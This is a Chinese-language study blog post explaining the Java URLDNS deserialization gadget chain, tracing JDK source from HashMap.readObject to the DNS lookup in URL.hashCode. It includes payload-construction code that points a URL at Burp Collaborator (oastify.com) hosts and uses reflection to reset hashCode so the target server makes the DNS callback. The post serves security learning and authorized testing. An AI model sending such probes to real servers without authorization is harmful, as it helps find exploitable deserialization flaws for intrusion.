java反序列化之URLDNS链

java反序列化

在 java 中，如果一个对象实现了 Serializable 接口就可以被序列化，java 的这种序列化模式为开发者提供了很多便利，我们可以不必关心具体序列化的过程，只要这个类实现了 Serilizable 接口，这个类的所有属性和方法都会自动序列化，transient 关键字修饰的属性除外，不参与序列化过程。

URLDNS链

这条利用链有一下特点：

• 不限制 jdk 版本，使用 java 内部类，对第三方依赖没用要求
• 目标无回显，可以通过 DNS 请求来验证是否存在反序列化漏洞
• URLDNS链只能发起 DNS 请求，并不能进行其他利用。虽然没有任何攻击性，但是在渗透测试的过程中能进行无回显验证

在 ysoserial 中列出的调用链：

*   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

原理

java.util.HashMap重写了readObject方法，在反序列化时会调用hash函数计算 key 的 hashCode。而java.net.URL的 hashCode 在计算时会调用getHostAddress来解析域名，从而发出 DNS 请求。

定位到 HashMap#readObject 方法：

private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException {

        ObjectInputStream.GetField fields = s.readFields();

        // Read loadFactor (ignore threshold)
        float lf = fields.get("loadFactor", 0.75f);
        if (lf <= 0 || Float.isNaN(lf))
            throw new InvalidObjectException("Illegal load factor: " + lf);

        lf = Math.clamp(lf, 0.25f, 4.0f);
        HashMap.UnsafeHolder.putLoadFactor(this, lf);

        reinitialize();

        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0) {
            throw new InvalidObjectException("Illegal mappings count: " + mappings);
        } else if (mappings == 0) {
            // use defaults
        } else if (mappings > 0) {
            double dc = Math.ceil(mappings / (double)lf);
            int cap = ((dc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (dc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)dc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

这里我们只需要关注putVal方法，这是一个向 HashMap 中存放键值对的方法，这里调用了hash方法来处理了 key，定位到hash方法：

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

可以看到，这里调用了key.hashCode()来计算 key 的哈希值。

在URLDNS利用链中，我们构造的 HashMap 里放的第一个参数就是一个URL对象，所以把 key 用URL对象替换，即调用URL对象的 hashCode方法。

样例：

HashMap<URL,Integer> hashmap=new HashMap<URL,Integer>();
hashmap.put(new URL("http://sie8dd0dhgeamlivq3kget0i0960uqif.oastify.com"),1);

定位到 URL#hashCode 方法：

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

这里的synchronized关键字修饰的方法为同步方法。当synchronized方法执行完或发生异常时，会自动释放锁。

这里可以看到调用了handler.hashCode(this)，定位到handler：

transient URLStreamHandler handler;

这是一个URLStreamHandler对象，那我们定位到这个类的hashCode方法：

protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase(Locale.ROOT).hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

InetAddress addr = getHostAddress(u);这里调用了getHostAddress方法，来看一下是怎么实现的：

synchronized InetAddress getHostAddress() {
        if (hostAddress != null) {
            return hostAddress;
        }

        if (host == null || host.isEmpty()) {
            return null;
        }
        try {
            hostAddress = InetAddress.getByName(host);
        } catch (UnknownHostException | SecurityException ex) {
            return null;
        }
        return hostAddress;
    }

getHostAddress()这个方法已经是调用链的最底层了，hostAddress = InetAddress.getByName(host)是唯一出口，它的内部实现最终会调用一个 Native 方法（由c/cpp实现的底层系统函数），这个 Native 方法会直接调用操作系统的 Socket API，发起 DNS 请求。

至此，从正面的分析结束。

回到最开始的 HashMap#readObject：

for (int i = 0; i < mappings; i++) {
	@SuppressWarnings("unchecked")
	K key = (K) s.readObject();
	@SuppressWarnings("unchecked")
	V value = (V) s.readObject();
	putVal(hash(key), key, value, false, false);
}

可以看到，这里的 key 是从K key = (K) s.readObject();中经过 readObject 得来的，这说明在这之前必定会有 writeObject 方法来进行序列化。定位到 HashMap#writeObject：

private void writeObject(java.io.ObjectOutputStream s)
        throws IOException {
        int buckets = capacity();
        // Write out the threshold, loadfactor, and any hidden stuff
        s.defaultWriteObject();//这里只是写入hashmap自身的配置参数，并没有攻击性
        s.writeInt(buckets);
        s.writeInt(size);
        internalWriteEntries(s);
    }

这里调用了internalWriteEntries，定位到它：

void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
       Node<K,V>[] tab;
       if (size > 0 && (tab = table) != null) {
           for (Node<K,V> e : tab) {
               for (; e != null; e = e.next) {
                   s.writeObject(e.key);
                   s.writeObject(e.value);
               }
           }
       }
   }

这里的 key 以及 value 是从 table 中取的(table是 HashMap 类的一个成员变量，是整个哈希表的底层存储容器)，具体实现：transient Node<K,V>[] table;

而想要修改table的值，就需要调用 HashMap#put 方法，定位到它：

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

这里也调用了hash方法，根据上面所分析的调用链即可发现这里就会产生第一次 DNS 请求。

这里我们仔细思考一下，在第一次put一个URL对象时，会调用这个URL对象的 hashCode 方法，这样我们的hashCode 属性就不为-1，同时，由于我们是在本地构造的，所以在第一次发起 DNS 请求时是由我们本地发起的，并不是由服务器发起的。同时，由于此时我们URL对象的 hashCode 属性已经不为-1，即使上传到服务器上，也不会进行 DNS 请求。

为了避免由我们本地发起的请求被我们误认为是服务器发起的，我们需要用反射进行修改 hashCode 属性，这里给一下样例：

HashMap<URL,Integer> hashMap = new HashMap<>();
URL url=new URL("http://q3uh4dntflrkvpsqhn1ka1po7fd61wpl.oastify.com");

Class<? extends URL> u = url.getClass();
Field hashCode = u.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,123);

hashMap.put(url,1);
hashCode.set(url,-1);

这样我们序列化之后得到的 hashCode 属性还是-1，当我们上传到服务器上时，反序列化就会进行 put 操作，从而发起 DNS 请求。

现在来总结一下 URLDNS 链的调用过程，我们在本地构造一个 HashMap 对象，序列化之后上传到服务器，服务器在反序列化时一定会触发 HashMap 的 readObject 方法（因为在 JVM 中，ois.readObject()发现这是一个 HashMap 对象后，会新建一个 HashMap 对象并调用它的 readObject 方法来反序列化我们上传的字节流），然后触发 hash 方法中的 key 的 hashCode 方法，也就是 URL 对象的 hashCode 方法，在 URL 对象的 hashCode 方法中会触发一个 URLStreamHandler 对象的 hashCode 方法，从而触发内部的 getHostAddress 方法，发起 DNS 请求。

总结

URLDNS链是 java 反序列化中非常基础的调用链，这里我花了将近两个晚上来彻底弄明白它的原理，其实是有点慢的，但是我觉得慢没关系，搞懂才是最重要的，希望以后在学习其他调用链时能够更加得心应手。